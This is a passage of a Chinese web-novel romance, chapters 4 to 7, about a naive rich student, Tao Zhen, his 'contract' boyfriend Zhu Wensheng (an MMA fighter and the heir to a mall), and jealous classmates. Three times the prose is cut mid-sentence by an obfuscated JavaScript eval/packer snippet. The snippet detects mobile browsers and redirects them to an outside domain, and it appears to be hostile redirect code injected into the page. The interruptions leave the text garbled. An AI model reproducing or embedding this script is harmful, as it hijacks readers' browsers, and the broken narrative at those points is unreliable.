“儿子啊,吃过饭了没有?”陶大俊粗犷的声音从那头响起,“这两天在干什么呢,怎么都没主动给爸爸打个电话?” 陶真清醒了,一骨碌从床上翻了起来。 从很早以前开始,陶真就知道,他家的情况和旁人家的不太一样。明明父母双全,但从小学开始到高中,来给他开家长会的人永远都是家里的保姆。 妈妈作为国内知名的音乐剧演员,在全球各地四处乱飞。爸爸也在矿里忙上忙下,几乎没时间来照看他。 他不怪妈妈,因为妈妈生养了他,又用自己的事业、靠演音乐剧的钱养家。 他也不怪爸爸,因为爸爸早出晚归,自己抠抠搜搜才买一套西服,却对他和妈妈都大方得不行,从香奈儿买到爱马仕,恨不得把所有昂贵的奢侈品都堆到他们身上。 人不能既要又要。 他从未被父母短过金钱和爱,就不能再贪心地跟他们要陪伴。 不过即使把自己劝得很好了,有些一个人孤零零的夜晚,他还是会想念小时候。 ——那时候家里没有钱,但爸爸妈妈都陪在他的身边。 “睡过头了,没吃呢,”陶真笑着喊了声爸,很快却又想到了什么,手指无意识地扣上了真丝被褥的边缘,讷讷地说,“我这两天……没干什么,就是在家里睡觉。” 也许是少了家人的关心,陶真格外珍惜自己身边的朋友。 尽管陶大俊曾告诉他,要小心那些不三不四的“狐朋狗友”,他却始终不想把朋友们想的太坏。 他几乎是条件反射地想跟爸爸说自己昨天晚上见义勇为的事,可话到嘴边却又迟疑了,不敢讲自己被带到那么乱的酒吧里“长见识”。 毕竟他爸从小就告诉他,做人要诚实守信,要忠诚专一……绝对不会同意他去那种乱糟糟的酒吧,跟一个男人暧昧不清,还签下恋爱协议。 陶真只能岔开话题:“你给妈妈打过电话了吗?她最近在港城演出吧,还安全吗?” “安全,当然安全,”陶大俊一说到这个,立刻精神了,不无得意地说,“我老婆可是她们剧团的金字招牌,谁不是冲着她去看剧的?无论到哪儿都会被好好地保护起来!” 陶真也与有荣焉地笑了。 他们父子俩都是林曼妙女士的忠实粉丝。 “我老婆咋这么厉害呢?我以前真是撞了狗屎运,她一个正儿八经考进名牌大学的大学生,那么出息,竟然看上了我这个在村里挖矿的穷小子,”陶大俊每次说到这儿,都会感叹自己的好命,“哎,儿啊,不知道你以后有没有这么好的机会……” 往日里听腻了的话,如今传入耳中却忽然多了点不同的意味。 陶真不可避免地想到了穿着白衬衫、冷淡而清俊的祝闻声。 他也跟林曼妙女士一样,傲然,出息。 “爸,你就别担心了,”陶真翻了个身,捧着小脸,翘起唇角,“我有!” 陶大俊以往从没听过他这么自信的回复,愣了几秒,笑骂道:“你这臭小子!要是真有这么好的机会,你自己也得加油,不能错过啊。要自己努力干出一番事业来,跟在我后面好好地搞——” 陶真鼓起小脸:“爸,我对化工没兴趣。” “那你用什么养你未来的对象啊?用脸吗?”陶大俊佯怒,无意识地说,“你瞧瞧你,从我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775756|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老婆那遗传到了那么漂亮的一张小脸,怎么就没把她音乐方面的天赋也遗传一下呢?” 陶真脸上的笑容僵住了。 过了两秒,陶大俊也忽然捂住了嘴,意识到了不对。 陶真从牙牙学语开始,就抱着妈妈演出的视频反复看,对音乐这方面显然是有十足的兴趣的。就连高考那会都试着走艺术进入南城大学,可惜最后落了榜,只能靠自己的赞助进入国际交换部。 对此,陶真虽然嘴上什么都没说过,但心底里显然是很失望的。 “儿子啊,”陶大俊干巴巴地说,“爸不是那个意思——” 陶真挂了电话,翻身把自己窝进了被子里,手里那团真丝已经被攥成了一团干巴巴的咸菜。 床上裹成了一小团的蚕蛹安静了一会,忽然又小小地抽动了起来。 他知道自己没什么出息。 成绩不好,也没什么特长,靠着家里的钱进了大学。 浑浑噩噩地活了十八年,跟个呆子一样,每天只知道傻乐。 他也不想这样的,真的。 手机响了又响。 不知到底过了多久,陶真调整完了自己的心情,小乌龟一样慢吞吞地从被子里探了个头出来,点亮了屏幕。 【爹地(大俊):儿子,爸错了,给你道歉,别生气了成不?】 【爹地(大俊):也别跟你妈告状[大哭][大哭]】 【爹地(大俊):[转账200000.00元]】 【爹地(大俊):最近有没有认识什么新朋友啊?跟他们一块出去吃饭,买两件新衣服穿穿。】 【……】 陶真一瞬间又觉得自己好不懂事。 他垂下眼,乖乖地跟他爸也道了歉,说自己不该任性地挂断电话。 把陶大俊感动得疯狂擤鼻涕,连忙又给他转了二十万来,让他赶快跟朋友出去玩。 陶真破涕为笑,心情忽然变得明媚起来。 他跳下床,一边去冰箱找东西吃,一边又点开微信。跟在宣城的两个好朋友聊完天后,他才看见斌子给他发的几条信息。 【陶真啊,今天晚上有空出来玩吗?】 【马上国际部要提前举办一个迎新晚会了,到时候大家都会带同伴去,咱们也趁着这个机会找几个呗?】 陶真一手端着热好的大肘子,一手上滑着屏幕。 迎新晚会?还要带同伴? 他挑了挑眉,咬了块热烫烫的筋下来,双手打字:【不了斌哥,迎新会我去,但今天晚上我就不参与了。】 【我现在也算是有家室的人,不能轻易……】 下半句还没发出去,那头的人却一个电话打了过来。 “喂,陶真?” 陶真嘴里含着东西,不能说话,只含糊地应了一声。 听见这声,不知为何,吴斌仿佛很笃定地笑了起来:“哎哟,别灰心啊,哥们知道你昨天包/养祝闻声没成功。” “啊哈哈哈哈哈哈,不要紧,今天咱带你去gay吧,帮你好好物色几个新人选——” “等等……” 陶真嚼完那块肉,用力地咽下去,一脸茫然:“谁说我没成功的?” “……?” “哦,我昨天忘了告诉你们了,”陶真语气轻松地开口,“我跟祝闻声已经签过恋爱合约了。” “合约期间不能出轨,也不能跟第三者有暧昧关系,所以以后这种局,你们就别再喊我了。” 5. 第 5 章 陶真……竟然……成功了?! 这怎么可能? 那个祝闻声不是很拽吗?前段时间都不知道到底有多少人对他抛出橄榄枝了,其中不乏比陶真有钱的,怎么就只有陶真成功了呢? 就陶真这种没怎么见过世面、穿衣打扮土得要命、被人骗了还浑然不觉的二世祖—— 吴斌倒吸了一口凉气,心底满是不可置信。 他身旁一众围观看热闹的狐朋狗友们见他露出了这副神态,纷纷好奇地凑了个脑袋过来,七手八脚地点开了免提。 通话的“滋滋”电流声瞬间放大,吴斌在众人期盼的目光下再度开口: “你……你确定?别开玩笑了,怎么可能……跟哥们之间就没必要这样了呀,就算失败了你也不要灰心,我们有很多别的选择,天涯何处无芳草……” “我没在开玩笑呀,”陶真很认真地说完,忽然没忍住皱了皱眉,敏锐地意识到有什么不对,“斌哥,不是你鼓励我去追祝闻声的吗?为什么现在我说我追到了,你好像……” 好像原本的算盘落了空,该看的热闹没看到。 所以很震惊,而且根本不为了这件事而感到高兴。 “啊…啊呀!怎么可能呢!” 猛地被戳破伪装,不仅吴斌,所有人的脸上都露出了如出一辙的尴尬神情。他们手忙脚乱地往后退了几步,把烂摊子留给了吴斌一个人。 “我是你朋友,当然是希望你能顺顺利利的了,只不过害怕你心里有事不愿意跟我说……既然你身边已经有人了,那我就不给你介绍了。” 吴斌瞪了一眼众人,咬牙,心中忽生一计:“不过那个迎新会马上就要开始了,别怪哥没提醒你啊,到时候大家都会打扮一下,你有空的话可以把那个祝闻声一块带着,去银游城那边买几件新衣服,这样也好让他有点面子。” “银游城?” “对,我在那边有高级会员卡,也认识不少Sa,如果你要是看上了什么东西,我可以帮你跟人家交涉一下,说不定还能在几家奢侈品门店打个八折呢——” 吴斌捂住听筒冲众人眨了眨眼,瞬间,有人就明白了他的意思,露出了恍然大悟的笑容。 陶真不是说自己真的包/养到祝闻声了吗?他们等下倒是要去银游城看看,他到底是不是打肿脸充胖子。 吴斌热情地说:“你刚来南城,对这些地方还不熟悉吧?要是去的话跟我说一声,我把地址发给你。” 陶真犹豫了一会,最终还是没有抓着这件事不放,慢慢地放下了手机。 虽然心里还是有些狐疑,他却始终不想把人性想得太坏。 而且,吴斌这个想法不错,作为金主,他理应带祝闻声去购置一些衣服,替换掉那些没牌子的白衬衫和牛仔裤。 “行,我下午就带他一块过去。” 说完这句,那头似乎就迫不及待地挂断电话了。 陶真慢吞吞地啃完了那块陶大俊先生亲手制作的大肘子,收拾完碗筷。站在洗手池前深吸了一口气,才摸出手机给祝闻声拨了过去。 “嘟……嘟……嘟……” - Light俱乐部内。 黑漆漆的天花板上吊着数盏刺目耀眼的吸顶灯,配合超过四米的挑空,令上千平米的通透平层显得格外空阔。越过一排整整齐齐的柱型沙袋和普通会员的训练器械,再经过一段挂满了格斗选手比赛照片的走廊,映入眼帘的就是一片崭新的天地。 四周挂网的八角笼,亮眼的聚光灯,完全仿照UFC——终极格斗冠军赛——世界上顶级和规模最庞大的职业综合格斗赛事,一比一打造。 在这样的环境中,祝闻声的手机忽然响了。 伴随着“叮铃铃”的铃声,机身振动。 不一会,就顺着桌子的边缘滚到了地上,发出了“砰”的一声脆响,自动挂断了。 没人注意到这边细微的动静。 因为此时此刻,一场男子中量级友谊赛即将开始。 众人都屏息凝神地望着两位光裸着上半身、露出结实肌肉,赤足踩进笼内的格斗家。 蓝角选手,绰号大狙。 红角选手,祝闻声,绰号S。 “彼此碰拳,退至八角笼边缘,比赛正式开始!” 裁判话音刚落,二人便开始试探彼此。 大狙是个块垒分明的矮个男人,原先在其他俱乐部,最近才刚刚进入Light。在国内颇有一番成绩,因此自视甚高。 他假意挥着拳,快速地打量了一眼面前高挑俊美的少年,心中几乎要嗤笑出声。 教练让他警惕的选手,就这? 一米八八的个头和一米九三的臂展不假,S的硬件条件看起来确实很好,在中量级里能爆杀一大片。可MMA看的不仅仅是身材,更多的是在格斗方面的经验和本事…… 大狙满是戾气的脸上闪过一抹不屑,轻而易举地看出了祝闻声假意要用低扫布置招数,轻松地在正架和反架之间做了切换。然而正在他试图反将一军、给祝闻声一个高踢时,却被祝闻声狠狠一记低扫拽至了地面,两脚朝天地应对着接下来正朝胸口的一击! “噢!!!” “漂亮!S的接腿摔已经成条件反射了!太帅了!” “大狙危险了啊,这一下直接摔没了。” 等、等等! 大狙感觉有什么不太对劲了,他猛地瞪大了眼,双腿高高地举过头顶,却无论如何没法用右腿控制住祝闻声的脖颈、将身子翻过来。 仿佛一击重拳狠狠地砸在眉心,大狙的嘴唇颤抖了起来,他瞪大了眼睛望向了祝闻声。 开始甚至不到一分钟,他就已经处于受控的位置……这怎么可能! 俊美到极点的冷淡少年却若有所感地微微勾起了唇角,他没有放松警惕,反而狠狠地扼住了大狙的身体,以一个可怕的降服体位——十字架控制拿裸绞,将大狙逼至了笼网边缘,紧接着地面锤击,连续几记左手重拳—— 大狙的鲜血瞬间就飞飙了出来,喷射着洒到了四周。 “啊啊啊啊!!” “完了完了,大狙完了。” “我操!S哥开始捣蒜了!” 观众形容的没错,此刻祝闻声的动作看起来就像是在捣蒜。 蒜瓣一捣就烂,而眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775757|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的人也一样。 一拳,两拳,三拳……四周的尖叫几乎快要掀翻屋顶。 黎旻似乎早就已经预料到这个画面,悠闲地在一旁鼓掌,与她截然相反的是大狙的教练,面如死灰,狠狠地掐着自己的大腿。 早就警告过大狙要小心“S”了,可他就是不相信。 明明“S”这个绰号,已经说明了一切。 ——既代表着超越A级的S级超高水平,也代表着蛇和兽,这类恐怖而可怕的捕食者。 MMA的比赛三局,每局五分钟。 第一局的五分钟还没到,大狙就陷入倒地状态,裁判立刻双手比叉,示意回合结束。 祝闻声松开手,居高临下地扫了一眼大狙,微不可见地皱了皱眉。 怎么这么不禁打。 大狙这个名头,再加上比赛开始时他那副不屑且得意的样子……让祝闻声以为今天还能跟他打很久。 结果,才刚热身完,兴奋值才刚刚被搏斗刺激得更加疯狂,根本还没来得及纾解,这人却已经倒地了。 祝闻声漠然地翻出八角笼,顺手捋了一把额前垂落的发丝。 聚光灯打在他的眉骨上,令他的眼窝更加深邃,也显得他漆黑的瞳孔更加阴沉。 他拧了瓶功能补剂压火,环视了一圈四周,正挑选着自己下一个比赛对手,却忽然用余光瞥见了地上的手机。 捡起来一看,屏幕已经磕碎了。 他无暇顾及,因为发信人那很简单的两个字,陶真。 【我刚刚给你打电话你没接,是在上班吗?】 【我等下到酒吧门口找你,带你出去一下,你能跟那边请个假吗?】 “……” 补剂顺着喉咙滚了下去,祝闻声的呼吸微窒了一秒,胸口那股火窜得更旺了。 不知为何,反应过来时,他已经冲着黎旻挥了手,随手套了一件俱乐部的黑色T恤,匆匆地跑下了楼。 迎着八月燥热的风,一直跑到了酒吧门口,祝闻声一眼就在人群中看见了陶真。 金发少年低着头看手机,露出一截雪白而纤细的后颈。纤长浓黑的睫羽垂着,湿漉漉的狗狗眼闪闪发亮,不知是看见了什么有趣的东西,笑起来,露出了那颗俏皮的小虎牙。 祝闻声的步子慢了下来。 陶真感觉到有人注视着自己,条件反射地抬起了头。 在意识到是祝闻声时,他立刻哒哒地跑了过去:“你怎么是从外面过来的?这个天气这么热,你难道……” 祝闻声什么也没说,只是抬起手,遵从本心地捏住了陶真的后颈。 触感细腻柔软,好像一只手握住,就能掌控全身。 陶真本能地瑟缩了一下,却没躲,只是茫然地抬起头:“怎么啦?” 诡异地,祝闻声感觉自己心中那股肆虐的情绪得到了满足。 甚至在抓住陶真的这一刻,他心里的愉悦和兴奋,要远远超过把大狙摁在地上疯狂出拳的那会。 “……没怎么,有个灰尘,”祝闻声若无其事地收回手,捻了捻指尖残余的温度,平复了一下愈发激烈的心跳,“你要带我去哪儿?” 6. 第 6 章 祝闻声的目光沉沉,陶真却没怎么注意到他的不对劲,兴高采烈地“哦”了一声,为他解释道:“是这样的,过段时间我们学校国际部可能会举办一个迎新晚会,到时候所有人都会带同伴一起过去。我想让你陪我一起。” “不过那种场合,一般都需要好好地打扮一下,所以我想提前带你去商场买几件衣服和首饰……” 听到这儿,祝闻声明白了。 陶真是来履行自己作为“金主”的职责了。 若真是某个被包.养的人听见这句话,恐怕要开心的要命。 可祝闻声不是,所以他只能揉了揉自己跳动的眉心,嘴唇没忍住动了动:“迎新晚会我可以陪你去,但买衣服就用不着了,我不缺钱,不需要你再替我花。” 陶真睁大了眼:“那不行的!” 少年人该死的自尊心啊,都已经穷成这样了,祝闻声怎么还说自己不缺钱呢? 这么炎热的天气,但凡对自己好一点,也该乘一辆公交车出行;眼前的少年却是硬生生用自己的双腿跑过来的,不然垂在额前的黑色发丝也不会那么汗湿。 更何况,他说自己有钱,为什么上身穿着的是这么一件普通至极、胸前似乎还印着“Light”字样的黑色T恤呢? 下.身也是一条有些磨损的黑金色短裤。 “我知道你有钱,但是,因为是我要求你陪我一起去迎新会,所以这些花销理应是我来承担,”陶真微微后退了一步,清澈的双眸里含了点心疼,清楚地倒映出了此时此刻祝闻声的模样,“我来买单就好,不要替我省钱,好吗?” 祝闻声沉默了几秒,顺着他的视线看了看自己的打扮。 “你可能误会了,这件衣服……我……” 陶真乖乖地点头,一脸认真地望着他:“嗯?” 祝闻声放弃辩解了,伸手进了口袋。 他决定用银行卡里的余额说话。 事实胜于雄辩,等陶真数清楚那到底有多少个零以后,一切就该清楚了—— 刺目耀眼的阳光下,一个碎了屏的手机被掏了出来。 后壳沾满了血迹,破碎的玻璃碴哆哆嗦嗦地从屏幕边缘滚了下去。 “……” 祝闻声僵住了。 陶真的目光则一瞬间多了更多的东西。 “好了,别说了。我都懂,我都明白,”陶真慢慢上前,吹走了那点仅剩的玻璃碴,怜悯地把手机塞回了祝闻声的口袋,“我喊的车已经到了,我们出发吧。” 祝闻声:“……” 他闭了闭眼,感觉有什么东西跟手机屏幕一样碎了。 怎么就,解释不清楚了呢。 最终,两人还是坐上了去商场的车。 在满是空调凉气的真皮座椅上坐下,祝闻声浑身紧绷的肌肉才渐渐得到放松。他慢慢地活动了一会手腕,后知后觉地发现自己的小臂外侧已经青了,手肘处更是擦破了皮,露出了一块猩红黏腻的血肉。 刚刚肾上腺素飙升时根本感觉不到痛,这会却慢慢泛上了些感觉。 陶真也注意到了他的不对,一把攥住了他的手腕,皱起眉:“这是怎么回事?” “而且,你不是在酒吧工作吗?为什么从外面跑回来?你……还有别的工作吗?” 祝闻声也没有要瞒着陶真的意思:“嗯,调酒其实只是帮朋友忙,偶尔才做一下。” “我是练MMA的,”他顿了顿,又补充了一句,“综合格斗。” 陶真盯着那堪称恐怖的破皮和瘀青看了几秒,轻轻地吹了几口气。 MMA综合格斗嘛,他知道。 按他家乡那边的说法,就是打黑拳的。 陶大俊以前就说过,穷不学艺术,富不学拳击。进入拳击这一行的多数都是家里贫穷,实在养不起孩子了,才会把孩子送去学这些东西。 “我知道,”陶真轻叹了一口气,“打黑……格斗,应该很不容易吧?” 祝闻声的喉结上下滚了滚,从他这个角度,可以清晰地看见金发少年柔软雪白的脸颊。 看起来就很好摸,像小包子一样,很可爱。 “还行。” “那你这次的对手是不是很强啊,不然你手上怎么会有那么多伤呀?” 陶真眼巴巴地望着他,几乎已经脑补出了一场血腥的搏斗。 满是书卷气、勤工俭学的好学生祝闻声,在打黑拳的擂台上,跟一个凶猛强悍的壮汉搏斗,一不留神就被逼到了角落,只能用双手挡住脸,小臂和手肘才变成了这个样子…… 祝闻声回忆了两秒躺在地上抽搐的大狙,给了个中肯的评价:“嗯。” 能打到那个地步,大狙的实力还是有的。 如果不是遇到他,应该还挺强的。 汽车在十字路口向右,一栋极为奢侈的建筑霎时映入眼帘。 银游城是这块的地标建筑,分不清到底谁因谁而得名,总之,它坐落的这条路叫银游路。 陶真对比了一下手机上吴斌发来的地址,眼睛一亮:“到啦!我们等下去里面,先看看服务台有没有碘酒和创可贴,给你的伤口消消毒吧?” 祝闻声却没说话。 他刚刚忘了问两人的目的地,直到此时此刻,顺着陶真的视线往外望去,才微微眯了眯眼。 这地方……有点眼熟。 好像是他十五岁过生日的时候,收到的礼物之一。 所以,陶真要带他来这儿买衣服吗? “没关系,你别看这儿有多高大上,其实就是个普通的商场而已,”陶真将他的犹豫看在眼中,自然而然地理解成了自卑,贴心地解围,“跟在我旁边,万一有人狗眼看人低,就直接怼回去,千万别憋着。” “……”祝闻声意味不明地笑了一下,干脆地放弃了解释,“行。” 他倒想看看,到底谁敢狗眼看人低。 两人下了车,泰然自若地走进了金碧辉煌的银游城。 毕竟是祝家旗下的产业,服务台的小姐都经过培训,并没有因为他们年轻而产生轻视,反而态度很好地为其拿来了碘酒和绷带简单包扎。 直到二人道完谢,离开了服务台,银游城的负责人才姗姗来迟,大惊失色地抹去了额头的冷汗,对着她上下比划了一番:“你刚刚有没有看到一个个子很高,长得很帅,身上有点伤的男生——” 服务台小姐姐收起了医疗包,战战兢兢地点了点头:“看、看见了……” 负责人懊恼地拍了下大腿:“那是咱们小祝总!今天什么风,竟然把他给吹来了。赶快让他们楼上下的人都机灵点,准备好视察……” “……” 暗地里的波涛汹涌,陶真一无所知。 他只觉得,南城的商场确实不一样。 各种奢侈品门店格外齐全也就罢了,路遇的一众售货员也非常礼貌,就算遇到了在门口踟躇的顾客也不会翻白眼,甚至还会弯腰鞠躬邀请他们进来看看。 不愧是大城市,每个人的素质都这么高。 直到走进了一家芬迪门店,被一下子窜出来的热情店长满脸兴奋地递了杯饮料,陶真才终于觉得有点不适应,他扯了扯祝闻声的手腕:“没想到是我小人之心了,他们的态度好得有点过分了……” 祝闻声低头,盯着少年头顶小小的发旋看了几秒,不自觉地扯了下唇角:“嗯,是啊。” “不管了,先看看有没有什么喜欢的衣服吧,”陶真的目光扫过衣架上的一排排陈列,“唔,我感觉都挺适合你的。” 他拿出了一件满是芬迪LOGO的棕色衬衫,兴奋地在祝闻声的身上比划:“诶,这件怎么样?挺帅的,而且料子摸起来也不错……” 祝闻声对这种恨不得在身上写满“我是有钱人”的衣服一向敬谢不敏,微微挪开了目光,视线却不期然地对上了一帮浩浩荡荡的男人。 吴斌站在最前面,脸上挂着势在必得的笑容,视线颇为得意地在四周逡巡。 他手里转着一张在电话里跟陶真炫耀过的高级会员卡,拥有着跟某些奢侈品门店八折的权利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775758|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,于是享受够了身边一群人羡慕的目光。 然而只有他自己才知道,这张卡是他从学长那里高价租借来的。他家虽然有些钱,却并不足以支撑他一个没本事的米虫“庶子”挥霍。 吴斌不舍得放过陶真这种家里贼有钱、出手也贼大方的富二代。 却也打从心底里瞧不上陶真的土里土气,嫉妒他是受尽家中宠爱的独生子。 凭什么陶真顺风顺水,还有那么出色的长相? 凭什么别人都无法轻易攀折的祝闻声,轻而易举地就能被他包养? 一定是他在打肿脸充胖子。 对,没错,一定是这样! 吴斌心中笃定,挥挥手,带着身后那帮跟班一起往前走。 其余众人脸上的表情与他如出一辙,他们叽里呱啦地猜测着等下陶真脸上的表情。 一行人兴奋不已地走上楼梯,吴斌脸上的笑容却在瞥见芬迪门店时忽然僵住。 ——不远处,热情的店长唾沫横飞地介绍着新品,柜姐柜哥满脸微笑地围成一圈,恭恭敬敬地“伺候”着纤细漂亮的金发少年。 而金发少年的身侧,站着一个冷淡俊美的高挑男人。 是祝闻声。 如假包换的祝闻声。 他黑沉沉的瞳孔直直地望了过来,明明没什么情绪,却仿佛看穿了什么,让人觉得不寒而栗。 几秒之后,才收回了视线,从口袋里掏出手机,给人发消息。 一时间,吴斌等人都沉默了。 他们感觉自己的脸火辣辣的,彼此之间对视了好几眼,最后看向了计划的始作俑者,吴斌。 后者的面色铁青。 他只感觉脸颊的温度越来越高,骤然攥紧了楼梯的扶手,身体打了个趔趄,双眼嫉妒到发红。 “操!他竟然真的……” 怎么可能…怎么可能…… 陶真怎么可能真的成功了? 乐子消失不见,自己竟然成了最大的小丑! 吴斌的脸色一阵青一阵白,他没有注意到祝闻声的动作,满心满眼都是陶真那个笑意盈盈的侧脸,实在没忍住,低骂了一句。 扭曲的手指用了几分力,那张高级会员卡不慎摔到了地上。 啪嗒! 吴斌连忙弯腰去捡那张薄薄的卡片,却听见了身旁跟班似感叹似意有所指的声音。 “哎,原来陶真没撒谎啊,他真的跟那个祝闻声在一块了?” “是哦,他还挺有实力的……” 吴斌的动作一僵,脸色越发难看。 他正想跟那些人喷两句,抬起头时,却听见了一声惊呼。 “我操!” “你们看见了吗?那么多件!他哪里来的钱,怎么全买下来了!!” “那个……不是银游城的负责人吗?经常上电视的,我见过他……” 众人齐刷刷地望向那个门店。 在吴斌难以置信的视线中,银游城的负责人笑着走到了陶真的跟前。 陶真还没反应过来,只见负责人手脚飞快,亲自替他打包好那几件衣服,同时贴心地附赠了一张黑金色的贵宾会员卡。 “您对本门店的服务还满意吗?我带您去其他门店继续挑选怎么样?” 陶真懵了一瞬,低头望向手里的卡片:“这是……” “哦,多谢您对我们商场的支持,这是我们特意为您准备的礼物,贵宾会员卡!” 负责人笑眯眯地对陶真说完,又不动声色地扫了一眼一旁的祝闻声,补充道,“有了这张卡,之后您在任何奢侈品门店购买东西,都可以享受到五折的优惠哦——” 没想到啊没想到,向来不近人情的小祝总不是来视察的,而是跟在一个金发少年身旁过来……吃软饭的。 如果光吃软饭也就罢了,偏偏还要自己过来替少年省钱。 哎,这算什么? 我出钱,让人包/养我自己? 负责人没忍住在心里叹了口气:真是搞不懂太子爷的癖好啊! 7. 第 7 章 有“特殊癖好”的太子爷本人则漫不经心地收起了手机。 不远处那群一直盯着陶真的家伙已经躲到他看不见的地方去了,不再像刚刚那样,抱着看好戏的态度、张牙舞爪地在过道里穿行。 也许是嫉妒得恨不得把自己的脸撕烂,没办法出来强撑着寒暄了吧。 陶真到底是怎么惹上这群家伙的? 祝闻声微微眯了眯眼睛,低头看向眼前的金发少年。 陶真在被意外的惊喜砸中以后格外高兴,一双湿漉漉的眼睛仿佛落了璀璨的繁星。 在询问过负责人这张卡的真实性后,他就放下了心中的怀疑,拉着祝闻声,开开心心地进了下一家店铺血拼。 从芬迪买到古驰,从香奈儿买到爱马仕。 一直到傍晚,晚霞染红了一片蔚蓝的天际,两人走出满是空调凉气的商场,迎面被热风扑了个满怀。 陶真偷偷掰开了祝闻声的手心,把手里一半袋子都塞了过去,其中包括一部崭新的顶配版手机。 祝闻声微微愣住。 他还以为自己拒绝了那么多次,陶真已经放弃了。 “不用了,我说过,我对这些东西没兴趣……” “那不行!今天带你出来就是为了给你买东西的。我爸说了,男人最可贵的品质就是说到做到,不画大饼,不说大话,”陶真为了防止他再拒绝,猛地后退了几步,弯着眼,露着小虎牙,稚气十足地说,“是我要带你去迎新会,你陪我,我理应对你好。” 祝闻声抿住唇,低下头,第一次正式地与陶真对视。 少年神采飞扬。 有些狡黠,又有些得意。 “而且,托你的福,我今天才来到这个商场。我以前可从来没体验过这么低的折扣,只花一半的钱就能买到一样的东西呢,”陶真笑眯眯地说,“我给我妈买了新出的彩妆,给我爸买了条新皮带,还给我发小买了……这里的很多东西,宣城都没有呢!” 说罢,他抬起手,晃了晃手里的袋子。 彩妆,皮带……全是他记挂着给旁人买的礼物。 到最后,轮到他自己的时候,已经什么也没有了。 可偏偏他自己还毫无所觉。 祝闻声垂下眼,忽然生出几分微妙的情绪,先前那个恨不得将陶真吞吃入腹的丛林法则落入下风。 他沉默了几秒,忽然开口:“我能问一下么,你昨天晚上为什么要去Light酒吧?” “是谁带你去的么?” 陶真不明白他为什么忽然岔开了话题,只是仰起小脸,诚实又茫然地说:“是呀。我新认识的大学同学说要带我去长长见识……他们也是国际部的,所以还没开学,就提前跟我加了联系方式。” “那几个人叫什么名字,确切长什么样子?” “最先联系我的人叫吴斌……”陶真乖乖地掏出手机,把那几个人的微信资料卡点开给祝闻声看了一眼。 祝闻声不动声色地一一记下,才收回了目光。 果然,就是他下午看见的那伙人。 率先装出一副热情的姿态,让陶真这种对朋友毫无防备心理的土财主心甘情愿地为他们花钱;嫉妒陶真嫉妒得要命,故意给他出了包.养人的损招,却没想到他真的能成功,看笑话的算盘落了空,所以恨得咬牙切齿。 “你以后不要跟他们过多来往了,他们……” ——他们都是骗你的,看你人傻钱多好欺负,就是为了耍你玩。 祝闻声张了张口,看着双眸亮晶晶、笑意盈盈的陶真,无论如何也没法说出剩下的半句话。 骄傲挺着小胸脯的金发少年,提着给家人和朋友买的礼物,像是威风凛凛的小战士,也像囤粮的小仓鼠。 “嗯?他们怎么了?”陶真追问。 祝闻声顿了顿:“……没什么。” 算了。 现在说太残忍,他已经让朋友帮忙了,过段时间——大概到迎新会那会,陶真自己就会从各个渠道发现了。 更何况,陶真自己心里也有数,今天也并没有颠颠地给吴斌那群人买礼物。 “没什么的话就不提了,”陶真眼巴巴地望着祝闻声,“这些东西,你可以收下吗?” “到时候迎新会,你就穿上这些,等我去接你,好不好?” 祝闻声垂下眼,看向自己的手心。 那股微妙,堪称理性和人性融合的情绪,在提醒他: 包养什么的,说到底,只是他和陶真的一时兴起。这种关系,既然能随时终止,那就只是个玩笑。 他现在最该做的,就是揭穿吴斌这群人的虚伪的假面,然后澄清自己和陶真之间的误会,及时抽身。 等迎新会结束,一切就会回到正轨。 那会,大概也是他们的最后一次见面了。 “好吧。” 祝闻声沉默了片刻,慢条斯理地打开了手里沉甸甸的袋子—— 霎时,一条满是芬迪LOGO的棕色花衬衫映入了眼帘。 天空飘来五个字,“我是暴发户”。 “啪”。 祝闻声重新合上了袋子,闭上了双眼。 不行,还是没办法接受。 - 夜幕低垂,灯火通明的高楼鳞次栉比。 陶真送完祝闻声回酒吧,顺路去寄完了快递,又迅速地冲了把澡,回过神时已是饥肠辘辘。 中午的大肘子已经消化完了,他又从冰箱里翻出来了陶大俊先生为他亲手制作的酸菜猪肉馅大饺子,接了一锅水放上灶台,拧开煤气。 等待水烧开的间隙,他顺手打开了微信,点开了置顶一个名为“风华绝代”的三人小群。 这个群名的来源很简单:两男一女,仨个从小一块长大的发小,全部都是绝了后代的同.性.恋。 陶真一下午没看手机了,这会群里已经攒了不少消息。 三人里唯一的女生佟夏又一次爱上了直女,又一次被当成了人家最好的闺蜜。 她这会正在群里发疯,已经到了对祖宗大不敬的地步:【是不是咱们几个家里老坟那里出了问题,不然怎么能没有一个性取向是正常的呢?】 妖娆小gay顾行舟立刻义愤填膺地附和道:【我也觉得!不过我已经喝中药调理好了,我已经封心锁爱,再也不喜欢男人了。】 